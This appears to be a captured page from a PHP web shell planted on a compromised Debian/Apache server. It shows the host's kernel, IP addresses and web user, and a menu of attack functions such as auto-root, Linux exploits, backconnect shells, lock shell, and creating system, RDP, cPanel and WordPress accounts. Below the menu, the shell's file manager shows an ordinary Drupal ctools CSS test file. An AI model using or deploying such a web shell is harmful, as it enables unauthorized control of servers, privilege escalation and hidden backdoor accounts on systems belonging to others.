Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.148.117.240
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
ctools /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
ctools_export_test
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
context.test
1.9
KB
-rw-r--r--
css.test
3.47
KB
-rw-r--r--
css_cache.test
1.11
KB
-rw-r--r--
ctools.drush.sh
2.59
KB
-rw-r--r--
ctools.plugins.test
3.96
KB
-rw-r--r--
ctools_plugin_test.info
509
B
-rw-r--r--
ctools_plugin_test.module
1.53
KB
-rw-r--r--
math_expression.test
6.35
KB
-rw-r--r--
math_expression_stack.test
1.79
KB
-rw-r--r--
object_cache.test
1.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : css.test
<?php /** * @file * Tests for different parts of the ctools plugin system. */ /** * Test menu links depending on user permissions. */ class CtoolsCssTestCase extends DrupalWebTestCase { public static function getInfo() { return array( 'name' => 'CSS Tools tests', 'description' => '...', 'group' => 'Chaos Tools Suite', ); } function setUp() { // Additionally enable contact module. parent::setUp('ctools'); } /** * Test that cached plugins are loaded correctly. */ function testCssStuff() { $css = "#some-id .some-class {\n color: black;\n illegal-key: foo;\n}"; $filtered_css = '#some-id .some-class{color:black;}'; ctools_include('css'); $filename1 = ctools_css_store('unfiltered-css-test', $css, FALSE); $filename2 = ctools_css_store('filtered-css-test', $css, TRUE); $this->assertEqual($filename1, ctools_css_retrieve('unfiltered-css-test'), 'Unfiltered css file successfully fetched'); $file_contents = file_get_contents($filename1); $this->assertEqual($css, $file_contents, 'Unfiltered css file contents are correct'); // $match = $filename1 == ctools_css_retrieve('unfiltered-css-test') ? 'Match' : 'No match'; // $output .= '<pre>Unfiltered: ' . $filename1 . ' ' . $match . '</pre>'; // $output .= '<pre>' . file_get_contents($filename1) . '</pre>'; $this->assertEqual($filename2, ctools_css_retrieve('filtered-css-test'), 'Filtered css file succcesfully fetched'); $file_contents = file_get_contents($filename2); $this->assertEqual($filtered_css, $file_contents, 'Filtered css file contents are correct'); // $match = $filename2 == ctools_css_retrieve('filtered-css-test') ? 'Match' : 'No match'; // $output .= '<pre>Filtered: ' . $filename2 . ' ' . $match . '</pre>'; // $output .= '<pre>' . file_get_contents($filename2) . '</pre>'; // // drupal_add_css($filename2, array('type' => 'file')); // return array('#markup' => $output); // Test that in case that url can be used, the value surives when a colon is in it. $css = "#some-id {\n background-image: url(http://example.com/example.gif);\n}"; $css_data = ctools_css_disassemble($css); $empty_array = array(); $disallowed_values_regex = '/(expression)/'; $filtered = ctools_css_assemble(ctools_css_filter_css_data($css_data, $empty_array, $empty_array, '', $disallowed_values_regex)); $url = (strpos($filtered, 'http://example.com/example.gif') !== FALSE); $this->assertTrue($url, 'CSS with multiple colons can survive.'); // Test that in case the CSS has two properties defined are merged. $css = "#some-id {\n font-size: 12px;\n}\n#some-id {\n color: blue;\n}"; $filtered = ctools_css_filter($css); $font_size = (strpos($filtered, 'font-size:12px;') !== FALSE); $color = (strpos($filtered, 'color:blue') !== FALSE); $this->assertTrue($font_size && $color, 'Multiple properties are merged.'); $css = '@import url("other.css");p {color: red;}'; $filtered = ctools_css_filter($css); $other_css = (strpos($filtered, 'other.css') === FALSE); $color = (strpos($filtered, 'color:red') !== FALSE); $this->assertTrue($other_css && $color, 'CSS is properly sanitized.'); $css = ';p {color: red; font-size: 12px;}'; $filtered = ctools_css_filter($css); $font_size = (strpos($filtered, 'font-size:12px;') !== FALSE); $color = (strpos($filtered, 'color:red') !== FALSE); $this->assertTrue($font_size && $color, 'Multiple properties are retained.'); } }
Close